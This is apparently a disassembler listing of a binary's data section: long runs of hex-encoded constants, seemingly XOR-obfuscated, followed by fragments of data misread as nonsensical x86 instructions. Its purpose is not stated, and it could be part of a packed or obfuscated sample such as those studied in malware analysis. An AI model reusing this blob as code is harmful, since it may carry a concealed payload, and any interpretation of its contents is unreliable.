		dd 85819EEFh, 0F2B87385h, 858189EFh, 39A2F385h,	8189EFF0h
		dd 6AF28585h, 8186FF85h, 3A918585h, 818EEFF1h, 98F98585h
		dd 77C57579h, 6A6BFB62h, 0FBDA7779h, 93F96A6Bh,	0A9AAF370h
		dd 73B8F39Ah, 89EFF288h, 0F3858581h, 0EFF039A2h, 85858189h
		dd 72DB6AF2h, 0F96A6BFBh, 0FFF37292h, 85858186h, 818ECFF3h
		dd 0FA3D8585h, 760E7A45h, 8182E741h, 0F8758585h, 858584D4h
		dd 0F7A45FAh, 51A2F37Dh, 7291763Fh, 6BFBA6DBh, 0A28D3A6Ah
		dd 0B3212425h, 9FF32FB9h, 2D2C292Bh, 8A7FC575h,	0F96A6BFBh
		dd 122A7C92h, 7A7A7AFAh, 2DB7E10h, 796A6BFBh, 6BFBCE7Fh
		dd 7792F96Ah, 0FB5ADB2Ah, 0C5756A6Bh, 6BFBD26Fh, 0F9AA7B6Ah
		dd 122A7292h, 3A7A7A7Ah, 73484A12h, 626F856Ah, 0F36A6B11h
		dd 0DB7A10BDh, 6A6BFBC2h, 0FABA7F79h, 92F96A6Bh, 0F852A7Ch
		dd 6F852D76h, 6A6B154Ah, 0F3723FF1h, 85B2F9BBh,	7B46FA3Ah
		dd 0F3830F7Ah, 9A67F1BCh, 0F96A6BFBh, 0F7297E91h, 2C298627h
		dd 2D720F85h, 15666F85h, 852D6A6Bh, 7333326Fh, 2124256Ah
		dd 122DB9B3h, 6A6BFF5Bh, 85269D92h, 852A2385h, 7B5FE26Fh
		dd 0F812D96Ah, 0C5756A6Bh, 6BFBEA7Fh, 7292F96Ah, 0F8127F43h
		dd 6D0F6A6Bh, 6BFF6B12h, 26C4926Ah, 2A238585h, 48626F85h
		dd 12D96A7Fh, 126A6BF8h
		dd 6A6BFF7Ah, 8526DD92h, 4F852A85h, 6A6BF812h, 5BD66F85h
		dd 4ED96A7Bh, 126A6B15h, 6A6BFE94h, 8526F192h, 4F852A85h
		dd 6A6BF812h, 5BD66F85h, 76D96A7Bh, 126A7B7Ah, 6A6BFEA4h
		dd 85261592h, 4F852A85h, 6A6BF812h, 5BD66F85h, 3ED96A7Bh
		dd 126A6B0Ah, 6A6BFEB5h, 85262992h, 4F852A85h, 6A6BF812h
		dd 5BD66F85h, 32D96A7Bh, 126A7A8Ah, 6A6BFEC5h, 85264D92h
		dd 6EBEF985h, 124F852Ah, 856A6BF8h, 7B5BD66Fh, 485ED96Ah
		dd 0B9256A73h, 0FB9FF32Fh, 7A7B2296h, 2D2C297Ah, 85144192h
		dd 1E669285h, 69928585h, 92858585h, 858593F4h, 85956592h
		dd 0C2A89285h, 0C5928585h, 928585C3h, 8585D676h, 85069292h
		dd 0B9279285h, 0EC928585h, 0F38585BAh, 172F92BCh, 0B8F38585h
		dd 84C6EFF2h, 0CC758585h, 8584C6FFh, 7A6FF185h,	796A6BF8h
		dd 6BF8326Fh, 7D90F96Ah, 6F0FAA43h, 6BFAEADBh, 727F796Ah
		dd 0F96A6BFBh, 852A7192h, 6B231A6Fh, 0FFCC756Ah, 858584C6h
		dd 0FB166FF1h, 90F96A6Bh, 0FAA437Eh, 0FB76DB62h, 0BAF96A6Bh
		dd 0A27F7926h, 2A6A6BFAh, 235E6F85h, 91236A77h,	758C73E2h
		dd 7A7AA5FFh, 0FECE127Ah, 1B926A6Bh, 0F3858521h, 8584CAFFh
		dd 0FED01285h, 2B926A6Bh, 2A858521h, 84CAEFF1h,	0F7288585h
		dd 8584C7EFh, 6F852885h, 6A772352h, 84C7FFF7h, 102A8585h
		dd 0F84ADB7Ah, 0C5756A6Bh, 6BFB626Fh, 0F9AA7B6Ah, 852A7392h
		dd 7323726Fh, 12BDF36Ah, 6A6BFEE4h, 85217592h, 0D6FFF385h
		dd 12858584h, 6A6BFEEEh, 85208592h, 4E6FF185h, 756A6BF8h
		dd 0FA8E77C5h, 0B07B6A6Bh, 287E90F9h, 0D6EFF12Ah, 28858584h
		dd 84C7EFF7h, 85288585h, 7723526Fh, 56BEF96Ah, 84C7FFF7h
		dd 102A8585h, 0A64F857Bh, 856A6BFBh, 7323726Fh,	0DBBDF36Ah
		dd 6A6BFABAh, 437892F9h, 85760FBDh, 6BF85E4Fh, 1A6F856Ah
		dd 0DB6A6B23h, 6A6BFA9Ah, 758BBAF9h, 0FB626FC5h, 0AA7B6A6Bh
		dd 6F852D2Ah, 6A77235Ah, 1E7FC575h, 326A6BFBh, 0E26F852Ah
		dd 0F36A7B5Fh, 107FF7B9h, 0F36A7A24h, 3FBDBA3Fh, 7A7A7FA2h
		dd 7FC5757Ah, 6A6BFBEEh, 0B87BB8F3h, 92F9AAF3h,	0AA3FF378h
		dd 0EA7FC575h, 0F96A6BFBh, 3FF37292h, 0B627F3AEh, 6BF866DBh
		dd 0B27F796Ah, 0F96A6BFBh, 3FF37692h, 0C63FBDB2h, 7A7A7A79h
		dd 6BFEF012h, 205C926Ah, 3FF38585h, 0FABADB9Ah,	7F796A6Bh
		dd 6A6BFAC2h, 0F37C92F9h, 16DBBE3Fh, 0F96A6BFBh, 3FF37F92h
		dd 0C63FF7A6h, 0EA6F852Ah, 126A7B5Ah, 6A6BEDB9h, 85238992h
		dd 0D2FFF385h, 12858584h, 6A6BFEFAh, 85239992h,	8E6FF185h
		dd 0F96A6BFBh, 29287390h, 0BE6FC575h, 796A6BFBh, 6BFB3A6Fh
		dd 7390F96Ah, 0C26FF128h, 0F96A6BFBh, 0F1287E90h, 6BFAAE6Fh
		dd 77C5756Ah, 6A6BF86Ah, 90F9B07Bh, 6FF12870h, 6A6BFADEh
		dd 0FAA677F1h, 0AB7B6A6Bh, 2B7193F9h, 0FBCA77F1h, 77796A6Bh
		dd 6A6BFBB2h, 2B7593F9h, 0FB5E6F79h, 90F96A6Bh,	7A122873h
		dd 2A7AB07Ah, 84D2EFF1h, 75288585h, 0FBE26FC5h,	6F796A6Bh
		dd 6A6BF876h, 287F90F9h, 33466F85h, 0BAD96A73h,	0F76A7B5Fh
		dd 8584C2FFh, 92292A85h, 858500DDh, 84CEFFF3h, 7A108585h
		dd 85E16C92h, 62BEF985h, 84C2FFF1h, 0BED98585h,	0F16A7B5Fh
		dd 8584CEFFh, 2286D985h, 8C736A73h, 5292620Fh, 0DB8585C3h
		dd 6A6BFA92h, 0F8467F79h, 0D9326A6Bh, 6A772356h, 0C5756B91h
		dd 6BFB927Fh, 40EB7F6Ah, 56D97A7Ah, 126A7723h, 6A7AB105h
		dd 8503D992h, 8C732385h, 5792500Fh, 928585BCh, 85858C64h
		dd 85B32E92h, 8A69285h,	6E918585h, 2A9E3FF7h, 217A6F85h
		dd 3FF76A6Bh, 6F852A9Eh, 6A7B7A62h, 1E7FC575h, 326A6BFBh
		dd 0FBC2DB2Ah, 92F96A6Bh, 0C5752A7Eh, 6BF83A7Fh, 7292F96Ah
		dd 9E3FF72Ah, 326F852Ah, 736A734Fh, 25BB0FBAh, 0B8B32124h
		dd 0F32F7A7Eh, 2E96F99Fh, 0DB2D2C29h, 6A6BFACAh, 0FB067F79h
		dd 92F96A6Bh, 0F852A71h, 720F856Ah, 85B60C92h, 76BEF985h
		dd 0FFD63FF3h, 0AFF75BAh, 127A7A78h, 6A6BFE0Ah,	85F66792h
		dd 852A2385h, 7B7A766Fh, 8A3FF36Ah, 923FBD1Ch, 3FF77A72h
		dd 0FF72A82h, 6A96F992h, 7EC39DF3h, 897A7A7Ah, 6A07F1DFh
		dd 8545F12Dh, 0B9F34A2Dh, 0BE7FC575h, 756A6BFAh, 0FBBE6FC5h
		dd 0AA7B6A6Bh, 437492F9h, 7AFF75B9h, 0F77A7A78h, 122ABA3Fh
		dd 6A6BE042h, 2A823FF1h, 6E8542F1h, 7A7A7A47h, 75B9F37Ah
		dd 0FAEE7FC5h, 7F796A6Bh, 6A6BFBA2h, 437C92F9h,	0BDFF75B9h
		dd 1C7A7A7Bh, 78AA3FBDh, 0F866DB7Ah, 0C5756A6Bh, 6BF83A6Fh
		dd 0F9AA7B6Ah, 3FF37692h, 9E3FF7A2h, 0AA0FF72Ah, 0F36A96F9h
		dd 7A7EC39Dh, 0DF897A7Ah, 0F9AA0FF7h, 9DF36A96h, 7A7A7EC3h
		dd 0F1DF897Ah, 0F12DBA07h, 562D8545h, 5ADBB9F3h, 0F96A6BF8h
		dd 0B9437892h, 7B1DFF75h, 36DB7A7Ah, 0F96A6BF8h, 3FF37392h
		dd 863FF786h, 0E032122Ah, 3FF16A6Bh, 42F12A9Eh,	7A476E85h
		dd 0F37A7A7Ah, 0F876DBB9h, 92F96A6Bh, 75B9437Eh, 7A7B51FFh
		dd 0AA7F857Ah, 0DB6A7B5Fh, 6A6BFB1Ah, 0F87A7F79h, 92F96A6Bh
		dd 0AA7F4378h, 86A7B5Fh, 0FA8ADB5Bh, 0BAF96A6Bh, 327F7979h
		dd 0D96A6BF8h, 6A7B5FAAh, 92860F85h, 858514DBh,	7A9F9323h
		dd 0C5757A7Ah, 6BFBEE7Fh, 0F67F796Ah, 0F96A6BFBh, 3FF37892h
		dd 0CA3FF7C2h, 664F852Ah, 926A7A8Ah, 858599ACh,	0F7B63FF3h
		dd 852ACE3Fh, 7B75AE4Fh, 99BE926Ah, 3FF38585h, 0C63FF7B2h
		dd 5A4F852Ah, 926A7332h, 858599C8h, 0F362BEF9h,	7F9BE3Fh
		dd 610E7AC6h, 6D0EBAFFh, 3FF73910h, 0F852AC2h, 0C60F8586h
		dd 92BE0F85h, 8585CAC3h, 0F96EBEF9h, 0E7ACE07h,	0B207F967h
		dd 106D0E7Ah, 0C23FF72Ah, 860F852Ah, 85CE0F85h,	0EC92B20Fh
		dd 0F98585CAh, 7F96EBEh, 670E7ACAh, 7AB607F9h, 3E106D0Eh
		dd 2AC23FF7h, 85860F85h, 0F85CA0Fh, 0CA0992B6h,	0BEF98585h
		dd 0B20F856Eh, 5FB66F85h, 0F856A7Bh, 0B66F85BEh, 856A7B5Fh
		dd 6F85B60Fh, 6A7B5FB6h, 0EE7FC575h, 3A6A6BFBh,	6A0F852Ah
		dd 92720F85h, 8585B041h, 0F176BEF9h, 0F12A863Fh, 722C854Ah
		dd 2A9E3FF1h, 2C854AF1h, 0BA3FF172h, 854AF12Ah,	3FF1722Ch
		dd 4AF12A82h, 0F7722C85h, 852A923Fh, 6B154E6Fh,	0FBD6DB6Ah
		dd 7F796A6Bh, 6A6BFADAh, 437F92F9h, 257A0EB9h, 0B9B32124h
		dd 7A3A7BC2h, 7A6AB8FAh, 96FB23EAh, 7A7A6A7Ah, 7A6A7A57h
		dd 5E7EFF7Ah, 7A6A7A47h, 5391097Ah, 5E7EFFBEh, 2223B92Bh
		dd 0BB79BAF9h, 9ABB7892h, 6A7A4778h, 64067A7Ah,	0A12A98F3h
		dd 76F35E7Eh, 5E7EA15Eh, 8585BA92h, 28AEF385h, 0F15E66A1h
		dd 66A15E76h, 0BE53225Eh, 7ABD9AF3h, 7A7A7A7Ah,	7AB92B2Bh
		dd 3ABA4B7Ah, 7A7A76B8h, 46A32A7Ah, 5E7EF15Eh, 5E4EC075h
		dd 76FB1C72h, 0A3787A5Eh, 0F2235E56h, 799AF99Ah, 46A32AB9h
		dd 8991225Eh, 5E46A32Ah, 1C5E7EF1h, 7A5E76FBh, 7A9A9179h
		dd 96FB237Ah, 7A7A6A7Ah, 7A6A7A57h, 5E7EFF7Ah, 7A6A7A47h
		dd 5391097Ah, 5E7EFFBEh, 7A7A9B85h, 5E2EF17Ah, 0C3BA4B72h
		dd 85858585h, 0D48880FDh, 33F7A38Dh, 5E3EF185h,	6F1EC72h
		dd 0DE897E5Eh, 0F1ADFDECh, 0B87E5E3Eh, 7A7A7A72h, 0D65F857Ah
		dd 0EA6A6BDAh, 7A7A7AEAh, 0CA5F857Ah, 0EA6A6BDAh, 7A7A7AEAh
		dd 0CE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0BA5F857Ah, 0EA6A6BDAh
		dd 7A7A7AEAh, 0BE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0B25F857Ah
		dd 0EA6A6BDAh, 7A7A7AEAh
		dd 0B65F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0AA5F857Ah, 0EA6A6BDAh
		dd 7A7A7AEAh, 0AE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0A25F857Ah
		dd 0EA6A6BDAh, 7A7A7AEAh, 0A65F857Ah, 0EA6A6BDAh, 7A7A7AEAh
		dd 5Fh dup(7A7A7A7Ah), 7A9F027Ah, 7A7A7A6Ah, 4 dup(7A7A7A7Ah)
		dd 7A095F7Ah, 87A0D7Ah,	1Ch dup(7A7A7A7Ah), 7A7A7E7Ah
		dd 7A7A787Ah, 7A7A737Ah, 7A7A7C7Ah, 7A7A797Ah, 7A7A7D7Ah
		dd 7A7A7A7Ah, 7A7A7D7Ah, 2 dup(7A7A7F7Ah), 7A7A7E7Ah, 7A7A7A7Ah
		dd 7A7A787Ah, 7A7A7C7Ah, 2 dup(7A7A7B7Ah), 7A7A7C7Ah, 7A7A7F7Ah
		dd 7A7A7C7Ah, 7A7A7E7Ah, 7A7A7C7Ah, 7A7A7F7Ah, 2 dup(7A7A7B7Ah)
		dd 7A7A797Ah, 7A7A787Ah, 7A7A7F7Ah, 7A7A787Ah, 7A7A737Ah
		dd 7A7A7A7Ah, 7A7A727Ah, 7A7A787Ah, 7A7A737Ah, 7A7A7B7Ah
		dd 7A7A727Ah, 7A7A787Ah, 7A7A727Ah, 7A7A787Ah, 7A7A7F7Ah
		dd 7A7A727Ah, 7A7A7B7Ah, 7A7A787Ah, 7A7A797Ah, 7A7A737Ah
		dd 7A7A7B7Ah, 7A7A7E7Ah, 7A7A7B7Ah, 7A7A787Ah, 7A7A7E7Ah
		dd 7A7A727Ah, 7A7A797Ah, 7A7A7E7Ah, 7A7A7D7Ah, 7A7A7B7Ah
		dd 7A7A787Ah, 7A7A7F7Ah, 7A7A7E7Ah, 7A7A7D7Ah, 7A7A737Ah
		dd 7A7A7D7Ah, 7A7A7A7Ah, 7A7A7E7Ah, 7A7A7F7Ah, 7A7A7B7Ah
		dd 7A7A727Ah, 2	dup(7A7A7B7Ah),	7A7A7E7Ah, 7A7A727Ah, 7A7A7C7Ah
		dd 7A7A7A7Ah, 7A7A787Ah, 7A7A7D7Ah, 2 dup(7A7A7E7Ah), 7A7A7C7Ah
		dd 7A7A7B7Ah, 2	dup(7A7A727Ah),	7A7A737Ah, 7A7A7D7Ah, 7A7A727Ah
		dd 7A7A7E7Ah, 7A7A7A7Ah, 2 dup(7A7A7E7Ah), 7A7A7D7Ah, 7A7A797Ah
		dd 7A7A7C7Ah, 7A7A737Ah, 7A7A797Ah, 7A7A7A7Ah, 7A7A7F7Ah
		dd 7A7A787Ah, 7A7A7B7Ah, 7A7A7E7Ah, 7A7A7F7Ah, 7A7A797Ah
		dd 7A7A7A7Ah, 7A7A7E7Ah, 7A7A787Ah, 7A7A7B7Ah, 7A7A727Ah
		dd 7A7A7D7Ah, 7A7A7B7Ah, 7A7A727Ah, 2 dup(7A7A7A7Ah), 7A7A727Ah
		dd 7A7A7D7Ah, 7A7A7E7Ah, 7A7A737Ah, 10h	dup(7A7A7A7Ah)
		dd 7A921A7Ah, 1B7A7A7Ah, 7A7A7A93h, 3 dup(7A7A7A7Ah), 7A10FB7Ah
		dd 7AF2796Ah, 7AF0026Ah, 7A2DE16Ah, 7AB2076Ah, 7AD45C6Ah
		dd 7A24F26Ah, 7A7A7A6Ah, 7A5F2C7Ah, 7A5F456Ah, 7A3E9B6Ah
		dd 7A3D696Ah, 7A9F696Ah, 7AD8AA6Ah, 7A5E936Ah, 6BF8B26Ah
		dd 7A7A7A6Ah, 7AB7E97Ah, 7ABDB06Ah, 7A3F726Ah, 7ADDF76Ah
		dd 7A5F4D6Ah, 7A28066Ah, 7A2C286Ah, 6BF8966Ah, 1B1F366Ah
		dd 8391F0Ch, 19130E13h,	1F29161Bh, 15130E19h, 8397A14h
		dd 1F0E1B1Fh, 1F08122Eh, 3F7A1E1Bh, 81F0E14h, 0E130839h
		dd 161B1913h, 0E191F29h, 7A141513h, 0E131433h, 13161B13h
		dd 8391F00h, 19130E13h,	1F29161Bh, 15130E19h, 7A7A7A14h
		dd 10DE027Ah, 0BDCD2CADh, 5A0AA192h, 0C7B4945Eh, 675D5BBh
		dd 0FDBC508Fh, 4A3C693Dh, 3CEF7BD2h, 0FAE2A287h, 3E8DD513h
		dd 8521CBF1h, 26ADC485h, 0EA6B58F3h, 0E20BE911h, 339F487h
		dd 0CE725BDCh, 645F1833h, 3AC93A8Ch, 24202BBAh,	0CCBDD05Ch
		dd 556A2793h, 3E6E29ACh, 0DB9CFB78h, 0A981B2A2h, 9BB79C9Dh
		dd 4D7DAC5Bh, 0AF77FDB9h, 206E978Eh, 99937F3Fh,	95D982D3h
		dd 1578A386h, 5036F01Dh, 804338F7h, 0B8CFB85h, 0E71B58FDh
		dd 9F427617h, 0C4903E87h, 0A4B5D3DEh, 0C1311A31h, 0C5C60A8Ch
		dd 0E104BCC4h, 0DB5D8052h, 954AFF90h, 0F2677FAEh, 0AEAA437Eh
		dd 0A1E39FA3h, 0D806829Ch, 0D62C1F65h, 53583EBEh, 5085ED8Eh
		dd 0EE59DD39h, 0E9DA43D1h, 2123B986h, 76B6E81Fh, 958E07F5h
		dd 0FE27AB85h, 0D20435FFh, 569C9A15h, 7B396E84h, 726BDBD9h
		dd 2904F834h, 40884F8Dh, 0ADA8C1C7h, 0FCA9EB50h, 7AA64091h
		dd 7AA63F6Ah, 7AA6E16Ah, 7AA68D6Ah, 7A7A7E6Ah, 107A527Ah
		dd 167A1D7Ah, 7A7A0B7Ah, 0A07A7C7Ah, 8DD1CBCBh,	7C7AD8D6h
		dd 0C2C2A97Ah, 0D1DF84D8h, 0B47A7C7Ah, 99C5DFDFh, 727ACCC2h
		dd 7D2B0E7Ah, 767A6351h, 7C7A7B2Bh, 808637Ah, 1B154E12h
		dd 617A7D7Ah, 0C3E1244h, 7A501915h, 0D7937A76h,	0D4E3E0FAh
		dd 0F2C3E7F6h, 7AFEF2E1h, 0EBBD7A71h, 0DCD4CFDCh, 0D3F4C9D3h
		dd 767AC9D4h, 0F1C6907Ah, 0FEF1F9E2h, 0F5FCD3E4h, 747AE2F1h
		dd 93B9EA7Ah, 8686AB99h, 9EB98985h, 8D848398h, 0FF7A777Ah
		dd 0B98C86ACh, 0AC9A9A8Dh, 91968D8Bh, 7A767A98h, 252C2F40h
		dd 73343521h, 2C246E72h, 7A767A2Ch, 3B32315Eh, 6D2A2B3Fh
		dd 323A706Ch, 7A7E7A32h, 595C1638h, 7A717A4Ch, 91C4E8B4h
		dd 0C191EBC1h, 0D8D8D09Ah, 0DD7A7B7Ah, 7A7B7A8Bh, 6D7AA9FCh
		dd 0A5E3C67Ah, 0A5E3A5E3h, 0E3EBA5E3h, 2 dup(0E3A5E3A5h)
		dd 0A9A5E8A5h, 7A6C7AABh, 0D294D2F7h, 0D294D294h, 0DA94D294h
		dd 2 dup(94D294D2h), 7A8285D9h,	34477A70h, 28182421h, 2B236934h
		dd 7A707A2Bh, 9F9A8FFCh, 0D28F93A3h, 7A909098h,	0DAFF7A7Eh
		dd 7AA3C59Ch, 9AC87A6Ah, 0BD99AFADh, 9EB1BAADh,	0ADBDA4A9h
		dd 7A89B08Dh, 0C38C7A6Ah, 0DCE2E9FCh, 0E9EFE3FEh, 0E3D8FFFFh
		dd 7AE2E9E7h, 0CC8B7A69h, 0E4DFFFEEh, 0C2E5EEE0h, 0F9E4EDE5h
		dd 0E2FFEAE6h, 667AE5E4h, 5D7A337Ah, 525A475Ah,	56495A5Fh
		dd 46505660h, 4A475A41h, 50405677h, 47435A41h, 767A415Ch
		dd 7C5E197Ah, 7C6A4C6Dh, 7478576Bh, 777A587Ch, 596E3C7Ah
		dd 594C735Bh, 45597752h, 7A7D4479h, 8FDC7A60h, 0B98FA8B9h
		dd 0B5AEA9BFh, 0B998A5A8h, 0B5AEBFAFh, 0AEB3A8ACh, 0B9B2AB93h
		dd 7A687AAEh, 0CADBF9BEh, 0EDDAD7EDh, 0CBFFDCCBh, 0CCD1D6CAh
		dd 7AC7CAD7h, 0EFBC7A6Ah, 0D5FAC8D9h, 0D9EFD9D0h, 0D5CEC9DFh
		dd 7AFDC5C8h, 9BD77A6Fh, 0A2BCB8B8h, 0BEA587A7h, 0B2BBBEA1h
		dd 0B681B2B0h, 96B2A2BBh, 0C87A6D7Ah, 9BBCAD8Fh, 0BD9BACA1h
		dd 0BCBD89AAh, 0A1BAA7A0h, 0A78BB1BCh, 7ABCA6BDh, 3E7F7A6Fh
		dd 0C0A151Bh, 14102B0Bh, 0D2F111Ah, 13160916h, 0C1A181Ah
		dd 527A717Ah, 11353700h, 37213D3Eh, 7A2B3719h, 0EBAC7A63h
		dd 0C5FFD8C9h, 0C9C8E5C8h, 0CAC5D8C2h, 0EDDEC9C5h, 0C3C4D8D9h
		dd 0D5D8C5DEh, 3D7A637Ah, 6E49586Eh, 4F485E58h,	79444954h
		dd 4F5E4E58h, 52494D54h, 5E5C794Fh, 7A767A51h, 0C1D3D6B7h
		dd 84DEC7D6h, 0DBD39985h, 7A767ADBh, 0E2F0F594h, 0A7FDE4F5h
		dd 0F8F0BAA6h, 7A7B7AF8h, 787A126Eh, 0D78BAB7Ah, 867A7B7Ah
		dd 7A7E7ABCh, 14444161h, 7A7B7A5Bh, 707A0F73h, 776B4B7Ah
		dd 619040Dh, 753E6E71h,	8E7A717Ah, 0DCC8B2AEh, 0B4CBC3CFh
		dd 7AB0FBABh, 0DDFD7A70h, 0BCAFBBC1h, 0B0C7B8B0h, 7A7A7AC3h
		dd 7A7A7F7Ah, 67A707Ah,	1C7A117Ah, 157A057Ah, 7A7A7A7Ah
		dd 7A7A7E7Ah, 287A467Ah, 2B7A277Ah, 7A7A237Ah, 547A787Ah
		dd 7B7A7474h, 7AEEC17Ah, 0BAD77A68h, 0BBA3B4A4h, 0A3A488A4h
		dd 0A4A2A3B6h, 0E4A5B6B5h, 7A747AE5h, 0E6E5D084h, 0E0EAEDD3h
		dd 0E8C7F3EBh, 7AF7F7E5h, 5F647A79h, 7E7A590Bh,	175F647Ah
		dd 7E7A590Bh, 0E2BD867Ah, 7E7AACBBh, 0ECB3887Ah, 7A7AA9B5h
		dd 7A7A797Ah, 237A6A7Ah, 2D7A277Ah, 7B7A7A7Ah, 7AB0EC7Ah
		dd 57727A75h, 14162E01h, 807571Eh, 165C4041h, 6A7A1E1Eh
		dd 0CD9BBE7Ah, 0CCCDC9E2h, 0CAC4CB9Bh, 0DA908C8Dh, 717AD2D2h
		dd 0DB8DA87Ah, 8DDB8DF4h, 0C4C686DDh, 7A757ADBh, 90BFE9CCh
		dd 0B9E9AAA7h, 0FEFFB6A0h, 0A0A0A8E2h, 0D47A7E7Ah, 8CE6FAF1h
		dd 927A7B7Ah, 7A787AB7h, 7AE3A580h, 94C47A73h, 0B1A0ABB6h
		dd 0A08DB0A7h, 7C7A567Ah, 283A332Fh, 392E3D2Bh,	1F153120h
		dd 130F130Eh, 2B20081Ah, 13181215h, 325C0F0Bh, 93F2028h
		dd 12190E0Eh, 0E192A08h, 1213150Fh, 57A737Ah, 616A7755h
		dd 4C716670h
		db  61h	; a
		db 7Ah,	53h, 7Ah
		db  7Bh	; {
		db 28h,	34h, 3Dh
		db  2Fh	; /
		db 2Ch,	3Ah, 29h
		db  3Eh	; >
		db 27h,	36h, 12h
		db  18h
		db    9
		db  14h
		db    8
		dd 270F1D14h
		db  2Ch	; ,
		db 12h,	15h, 1Fh
		db  14h
		db 0Ch,	8, 27h
		db  38h	; 8
		db 0Eh,	2 dup(9)
		db  1Eh
		db 15h,	0Fh, 2Dh
		db  1Eh
		db 9, 8, 12h
		db  14h
		db 15h,	7Ah, 7Bh
		db  7Ah	; z
		db 0DEh, 0F0h, 7Ah
		db  7Eh	; ~
		db 7Ah,	0BBh, 96h
		db  9Eh	; 
		db 0E3h	; ã
		db  95h	; •
		db  7Ah	; z
		db  79h	; y
		db  7Ah	; z
		db  2Bh	; +
		db  48h	; H
		db  11h
		db  77h	; w
		db  7Ah	; z
		db  72h	; r
		db  7Ah	; z
		db  50h	; P
		db  75h	; u
		db  25h	; %
		db  7Eh	; ~
		db  75h	; u
		db  25h	; %
		db  7Eh	; ~
		db  75h	; u
		db  25h	; %
		db  7Ah	; z
		db  78h	; x
		db  7Ah	; z
		db 0C9h	; É
		db  87h	; ‡
		db  9Dh	; 
		db  7Ah	; z
		db  78h	; x
		db  7Ah	; z
		db  89h	; ‰
		db 0B0h	; °
		db 0D1h	; Ñ
		db  7Ah	; z
		db  71h	; q
		db  7Ah	; z
		db  52h	; R
		db  11h
		db  20h
		db  37h	; 7
		db  33h	; 3
		db  26h	; &
		db  37h	; 7
		db  14h
; ---------------------------------------------------------------------------
		cmp	eax, 7A13263Ch
		jnb	short loc_426596
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0AFh, 0A2h
		dd 0AFE5F9F8h, 737AA7A7h, 4D4E297Ah, 71B1A40h, 7A45454Dh
		dd 1B687A77h, 0D1C1B11h, 71A1805h, 0D04010Eh, 77A7C7Ah
		dd 6E717562h, 7B7A6264h, 7A50747Ah, 31627A7Ch
		db 3Bh,	31h, 36h
; ---------------------------------------------------------------------------


loc_42655B:				; CODE XREF: .data:004265C2j
		daa
		das
		jp	short loc_4265D1
; ---------------------------------------------------------------------------
		db 7Ah
; ---------------------------------------------------------------------------


loc_426560:				; CODE XREF: .data:004265BEj
		jnz	short near ptr loc_4265B5+2
		xor	es:[edi], ah
		and	edi, [esi+esi]
		xor	[edx+3Ah], bh
		jp	short near ptr loc_4265CE+1
		and	esp, [eax]
		and	[esi], esp	; CODE XREF: .data:004265BAj


loc_426571:				; CODE XREF: .data:004265B8j
		daa
		and	al, 25h
		sub	ch, [ebx]
		sub	[ecx], ch
		db	2Eh		; CODE XREF: .data:004265C0j
		das
		sub	al, 2Dh		; CODE XREF: .data:004265BCj
		xor	dh, [ebx]


loc_42657E:				; CODE XREF: .data:004265C6j
		xor	[ecx], dh
		db	36h
		aaa


loc_426582:				; CODE XREF: .data:004265C4j
		xor	al, 35h
		cmp	bh, [ebx]
		cmp	[ebx], al
		add	[ecx], al
		push	es
		pop	es
		add	al, 5
		or	cl, [ebx]
		or	[ecx], cl
		push	cs
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		or	al, 0Dh


loc_426596:				; CODE XREF: .data:0042651Aj
		adc	dl, [ebx]
		adc	[ecx], dl
		push	ss
		pop	ss
		adc	al, 15h
		sbb	bl, [ebx]
		sbb	[edx+53h], dl
		push	eax
		push	ecx
		push	esi
		push	edi
		push	esp
		push	ebp
		pop	edx
		pop	ebx
		dec	ecx
		dec	ebp
		jp	short loc_426629
		jp	short loc_42662B
		jnb	short near ptr loc_42662B+2
		jp	short near ptr loc_42662B+4


loc_4265B5:				; CODE XREF: .data:loc_426560j
		sar	byte ptr [edx-50h], cl
		jp	short loc_426571
		jp	short near ptr loc_42656F+1
		jp	short near ptr loc_42657A+1
		jp	short loc_426560
		jp	short near ptr loc_426578+1
		jp	short loc_42655B
		jp	short loc_426582
		jp	short loc_42657E
		jp	short near ptr loc_426642+2
		jp	short loc_426626
		jp	short loc_4265F8


loc_4265CE:				; CODE XREF: .data:0042656Bj
		mulps	xmm1, oword ptr	[edx]


loc_4265D1:				; CODE XREF: .data:0042655Dj
		pop	ecx
		pop	eax
		dec	ecx
		pop	ss
		inc	edx
		pop	esi
		pop	esi
		pop	edx
		adc	ds:15590F05h, al
		inc	edx
		pop	ss
		mulps	xmm1, oword ptr	[esp+ebx*2]
		pop	ss
		maxps	xmm1, oword ptr	[edx+ebx*2]
		pop	ss
		mulps	xmm2, oword ptr	[edx+edi*2]
		cmp	[edx+7Bh], edi
		pop	esi
		or	[ebx+8], bl


loc_4265F6:				; CODE XREF: .data:00426640j
		or	[eax], ebx


loc_4265F8:				; CODE XREF: .data:004265CCj
		inc	esi
		adc	ecx, [edi]
		ud2
; ---------------------------------------------------------------------------
		db 41h,	2 dup(54h)
		dd 1344085Eh, 5D085E46h, 0E5E4612h, 145D085Eh, 5D0E5E46h
		dd 185E461Dh, 4612085Dh, 85D085Eh, 0E5E4614h
		db 5Dh,	0Fh
; ---------------------------------------------------------------------------


loc_426626:				; CODE XREF: .data:004265CAj
		pop	ss
		inc	esi
		pop	esi


loc_426629:				; CODE XREF: .data:004265ADj
		push	cs
		pop	ebp


loc_42662B:				; CODE XREF: .data:004265AFj
					; .data:0042666Dj ...
		or	eax, 5D0E5E46h
		pop	ds
		inc	esi
		pop	esi
		or	[ebp+7Ah], al
		push	7Ah
		mov	edx, 0B5B4E7B4h
		movsb
		cli
		loop	loc_4265F6


loc_426642:				; CODE XREF: .data:004265C8j
		call	near ptr 0E33D083Fh
		movsb
		stc
		jp	short loc_4266AF
		jp	short loc_426680
		cvtps2pd xmm3, qword ptr [esi+54h]
		adc	eax, [edx+ebx*2+57h]
		inc	edi
		pop	ebx
		push	cs
		add	edx, [ebx]
		pop	ebx
		push	esi
		pop	edx


loc_42665D:				; CODE XREF: .data:004266C0j
		push	esp
		pop	ebx
		inc	edi
		push	cs
		add	edx, [ebx]
		push	ecx
		pop	esp
		inc	ecx
		push	edi
		push	esi
		inc	ecx
		push	cs
		add	edi, [edx+7Dh]
		jp	short near ptr loc_42662B+1
		sbb	edi, 0DF928183h
		cmp	dword ptr [edx+71h], 7Ah
		adc	al, 59h
		jno	short loc_4266E4
		db	67h
		jnz	near ptr 66F3h


loc_426680:				; CODE XREF: .data:0042664Bj
